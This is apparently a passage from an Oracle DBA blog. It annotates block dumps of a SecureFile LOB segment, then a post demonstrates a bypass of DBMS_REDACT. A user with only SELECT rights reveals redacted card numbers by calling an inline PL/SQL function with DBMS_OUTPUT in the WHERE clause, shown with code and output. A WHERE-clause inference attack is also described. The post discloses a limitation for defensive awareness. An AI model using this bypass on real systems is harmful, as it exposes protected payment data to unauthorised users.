lenprobably a length of something - as it's 5 and the extent has 5 blocks of type 0x06=trans data, I guess it's the length (count) of blocks capable of data.
flagunknown to me right now
synctimethis looks like an unix epoc time - it matches to GMT: Tuesday, August 29, 2017 9:13:04 AM when I created the table.
objidis the OBJECT_ID (or DATA_OBJECT_ID? I don't know) of the LOB segment.
incunknown to me right now
totalunknown to me right now
opcodeunknown to me right now
xidmight be a transaction ID when used.
entry 0same as sdba and len from above - there might be multiple entries in the future?

NGLOB: Segment Header

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e581 (4/255361)
scn: 0xa9c.1cf87e98 seq: 0x04 flg: 0x04 tail: 0x7e983f04
frmt: 0x02 chkval: 0x12dd type: 0x3f=NGLOB: Segment Header
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6247D60800 to 0x00007F6247D62800
...
NGLOB Segment Header
  Extent Control Header
  -----------------------------------------------------------------
  Extent Header:: spare1: 0      spare2: 0      #extents: 1      #blocks: 16
                  last map  0x00000000  #maps: 0      offset: 8168
      Highwater::  0x0103e590  ext#: 0      blk#: 16     ext size: 16
  #blocks in seg. hdr's freelists: 0
  #blocks below: 16
  mapblk  0x00000000  offset: 0
      Disk Lock:: Locked by xid:  0x01b3.015.00002ca0
     Map Header:: next  0x00000000  #extents: 1    obj#: 454499 flag: 0x40000000
  Extent Map
  -----------------------------------------------------------------
   0x0103e580  length: 16

  ---------------
CFS hbbcnt:7 hbbmx:7 Mxrng:7 UFS hbbcnt:2 PUA cnt:0 Flag:2
Segment Stats
-------------
Retention: -1
Free Space: 5
PUA Batchsize: 50
UFS Array
---------
DBA: 0x0103e582 Inst:1
DBA: 0x0103e583 Inst:1
Ufs off:152 sz:512
CFS Array
---------
Range: 0 DBA: 0x0103e584
Range: 1 DBA: 0x0103e585
Range: 2 DBA: 0x0103e586
Range: 3 DBA: 0x0103e587
Range: 4 DBA: 0x0103e588
Range: 5 DBA: 0x0103e589
Range: 6 DBA: 0x0103e58a
Cfs off:664 sz:576
PUA Array
---------
pua off:1240 sz:8
  --------------------------------------------------------  

There is nothing of great interest for me in Extent Control Header. The first interesting part is CFS.
CFS means Committed Free Space (blocks) - there are different "counts" - all of them 7 right now.
UFS means Uncommitted Free Space (blocks) - it seems to have a count of 2.
PUA might mean Persistent Undo Array (my guessing!) - no count right now.
In Segment Stats, Free Space: is 5 which matches the 5 trans data blocks available. They are where the real data will go.
UFS Array contains 2 blocks, so it matches the count above.
CFS Array contains 7 blocks, which matches the count above also.
PUA Array is empty - there are no NGLOB: Persistent Undo blocks right now.
I have no idea what the different off: and sz: mean. Offset and Size?

I start with a simple

1st NGLOB: Hash Bucket

(part of UFS)

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e582 (4/255362)
scn: 0xa9c.1cf87e98 seq: 0x02 flg: 0x04 tail: 0x7e983d02
frmt: 0x02 chkval: 0x86ba type: 0x3d=NGLOB: Hash Bucket
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6247D60800 to 0x00007F6247D62800
...
  Dump of Hash Bucket Block
  --------------------------------------------------------
Hash Bucket Header Dump
Inst:1 Flag:6 Total:0 FSG_COUNT:0 OBJD:454499 Inc:0
Self Descriptive
 fsg_count:0
Head:0x 0x00000000  Tail:0x 0x00000000
 Opcdode:0 Locker Xid: 0x0000.000.00000000
Fsbdba: 0x0    Fbrdba: 0x0
Head Cache Entries
-------------------
-------------------
Tail Cache Entries
-------------------
-------------------
Free Space Chunk Summary
Inst:0 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
UFS List
--------------

it seems quite empty.

2nd NGLOB: Hash Bucket 

(part of UFS)

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e583 (4/255363)
scn: 0xa9c.1cf87e98 seq: 0x02 flg: 0x04 tail: 0x7e983d02
frmt: 0x02 chkval: 0x86bb type: 0x3d=NGLOB: Hash Bucket
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6247D60800 to 0x00007F6247D62800
...
  Dump of Hash Bucket Block
  --------------------------------------------------------
Hash Bucket Header Dump
Inst:1 Flag:6 Total:0 FSG_COUNT:0 OBJD:454499 Inc:0
Self Descriptive
 fsg_count:0
Head:0x 0x00000000  Tail:0x 0x00000000
 Opcdode:0 Locker Xid: 0x0000.000.00000000
Fsbdba: 0x0    Fbrdba: 0x0
Head Cache Entries
-------------------
-------------------
Tail Cache Entries
-------------------
-------------------
Free Space Chunk Summary
Inst:0 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
UFS List
--------------

Also empty.

3rd NGLOB: Hash Bucket 

(part of CFS)

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e584 (4/255364)
scn: 0xa9c.1cf87e98 seq: 0x02 flg: 0x04 tail: 0x7e983d02
frmt: 0x02 chkval: 0x86be type: 0x3d=NGLOB: Hash Bucket
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6247D60800 to 0x00007F6247D62800
...
  Dump of Hash Bucket Block
  --------------------------------------------------------
Hash Bucket Header Dump
Range: 2k to 32k
Inst:1 Flag:5 Total:0 FSG_COUNT:0 OBJD:454499 Inc:0
Self Descriptive
 fsg_count:0
Head:0x 0x00000000  Tail:0x 0x00000000
 Opcdode:0 Locker Xid: 0x0000.000.00000000
Fsbdba: 0x0    Fbrdba: 0x0
Head Cache Entries
-------------------
-------------------
Tail Cache Entries
-------------------
-------------------
Free Space Chunk Summary
Inst:1 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
CFS Chunk List
--------------

Again an empty block, but it contains a Range: 2k to 32k!

the next NGLOB: Hash Bucket blocks are similar (empty) but with different ranges:

0x0103e584 Range: 2k to 32k
0x0103e585 Range: 32k to 64k
0x0103e586 Range: 64k to 128k
0x0103e587 Range: 128k to 256k
0x0103e588 Range: 256k to 512k
0x0103e589 Range: 512k to 1m
0x0103e58a Range: 1m to 64m
There might be a good reason why the range starts at 2k: this is the smallest blocksize you can define at creation of a DB. As a LOB (when not stored in ROW) always uses at least one block, 2k is the smallest unit which needs to be managed. These different space chunks are designed to avoid fragmentation when deleting/inserting LOBs of different size.

trans data

is empty right now:
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58b (4/255371)
scn: 0xa5d.aa1c5d7d seq: 0x02 flg: 0x04 tail: 0x5d7d0602
frmt: 0x02 chkval: 0x54e9 type: 0x06=trans data
Hex dump of block: st=0, typ_found=1
...
Block header dump:  0x0103e58b
 Object id on Block? Y
 seg/obj: 0x1c334  csc: 0xa5d.aa1c5d7c  itc: 1  flg: E  typ: 5 - LOCAL LOBS
     fsl: 0  fnx: 0xffffffff ver: 0x01

 Itl           Xid                  Uba         Flag  Lck        Scn/Fsc
0x01   0x0014.019.0002bdd9  0x00000000.0000.00  -B--    0  fsc 0x0000.00000000
========
bdba    [0x0103e58b]
kdlich  [0x7f6247d6084c 56]
  flg0  0x20 [ver=0 typ=data lock=n]
  flg1  0x00
  scn   0x0a5d.aa1c5d7c
  lid   000000010000147f95a5
  rid   0x00000000.0000
kdlidh  [0x7f6247d60864 24]
  flg2  0x00 [ver=0 lid=short-rowid hash=n cmap=n pfill=n]
  flg3  0x00
  pskip 0
  sskip 0
  hash  0000000000000000000000000000000000000000
  hwm   8060
  spr   0
  data  [0x7f6247d60880 52 8060]
It's of typ: 5 - LOCAL LOBS.
I don't think there is anything of interest in the empty block right now. Maybe more later.

These are the 16 blocks we have.

Montag, 21. August 2017

The Limits of Data Redaction

Data Security is becoming more and more important nowadays.
In fact it was always important, just as the expected problems increase (by count or value) management seems to be more aware now. Due to many discussions I started to have a look at DBMS_REDACT - which is an implementation to show only those data to users they are allowed to use.
One of my first places to go was Tim Halls Data Redaction (DBMS_REDACT) in Oracle Database 12c Release 1 (12.1). As always a very promising source.
At the end of this page Tim wrote
  • Redaction does not apply to the WHERE clause, so inference of the value is still possible for those with SQL access.
This is a good feature to ensure a query runs the same way with or without redaction, and the rows returned are still correct, just "hidden". But at the same time it's a huge backdoor by design. I'm using Tims testcase to explain the problem:

create user ANN identified by "Som3c0mpl5xPWD#" default tablespace users;
alter user ANN quota unlimited on users;
grant connect to ANN;
grant create table to ANN;
GRANT EXECUTE ON sys.dbms_redact TO ANN;

Create user BEE identified by "Som3othac0mpl5xPWD#" default tablespace users;
grant connect to BEE;

Connect ANN/"Som3c0mpl5xPWD#"

CREATE TABLE payment_details (
  id          NUMBER       NOT NULL,
  customer_id NUMBER       NOT NULL,
  card_no     NUMBER       NOT NULL,
  card_string VARCHAR2(19) NOT NULL,
  expiry_date DATE         NOT NULL,
  sec_code    NUMBER       NOT NULL,
  valid_date  DATE,
  CONSTRAINT payment_details_pk PRIMARY KEY (id)
);

INSERT INTO payment_details VALUES (1, 4000, 1234123412341234, '1234-1234-1234-1234', TRUNC(ADD_MONTHS(SYSDATE,12)), 123, NULL);
INSERT INTO payment_details VALUES (2, 4001, 2345234523452345, '2345-2345-2345-2345', TRUNC(ADD_MONTHS(SYSDATE,12)), 234, NULL);
INSERT INTO payment_details VALUES (3, 4002, 3456345634563456, '3456-3456-3456-3456', TRUNC(ADD_MONTHS(SYSDATE,12)), 345, NULL);
INSERT INTO payment_details VALUES (4, 4003, 4567456745674567, '4567-4567-4567-4567', TRUNC(ADD_MONTHS(SYSDATE,12)), 456, NULL);
INSERT INTO payment_details VALUES (5, 4004, 5678567856785678, '5678-5678-5678-5678', TRUNC(ADD_MONTHS(SYSDATE,12)), 567, NULL);
COMMIT;


BEGIN
  DBMS_REDACT.add_policy(
    object_schema => 'ANN',
    object_name   => 'payment_details',
    column_name   => 'card_no',
    policy_name   => 'redact_card_info',
    function_type => DBMS_REDACT.partial,
 function_parameters => '1,1,12',
    expression    => q'[SYS_CONTEXT('USERENV','SESSION_USER') != 'ANN']'
  );
END;
/

Here we have now the table PAYMENT_DETAILS in schema ANN, and we try to hide part of the column CARD_NO from all users except ANN. As Tim Stated, the redaction only takes place in the Projection, not in Filter. So a common attack is to "test" the CARD_NO without showing it:
By a repeated
SELECT customer_id from ann.payment_details where card_no < &SOME_VALUE;
And a block which just counts from 1 to a maximal number for &SOME_VALUE, we will know the card_no for every customer_id.
But this attack is somewhat time and resource consuming, so it can create traces in other areas like performance monitoring and therefore make an observant DBA suspicious.
But it's much easier to get the CARD_NOs, starting with 12.1 only select permission on the given table is required, and the statement is simple:
Connect BEE/"Som3othac0mpl5xPWD#"

WITH
  FUNCTION show_number(p_id IN NUMBER) RETURN NUMBER IS
  BEGIN
    dbms_output.put_line(p_id);
    RETURN 1;
  END;
SELECT * 
from ANN.payment_details 
where show_number(card_no)=1
/

gives this result:

        ID CUSTOMER_ID           CARD_NO CARD_STRING         EXPIRY_DA   SEC_CODE VALID_DAT
---------- ----------- ----------------- ------------------- --------- ---------- ---------
         1        4000  1111111111111234 1234-1234-1234-1234 21-AUG-18        123
         2        4001  1111111111112345 2345-2345-2345-2345 21-AUG-18        234
         3        4002  1111111111113456 3456-3456-3456-3456 21-AUG-18        345
         4        4003  1111111111114567 4567-4567-4567-4567 21-AUG-18        456
         5        4004  1111111111115678 5678-5678-5678-5678 21-AUG-18        567

1234123412341234
2345234523452345
3456345634563456
4567456745674567
5678567856785678

The CARD_NO values are hidden in the query output itself, but DBMS_OUTPUT.PUT_LINE can print them, when called in the WHERE clause.

Still I see Data Redaction one valuable method to secure data, but it's limits should be known and proper additional methods should be implemented to secure data.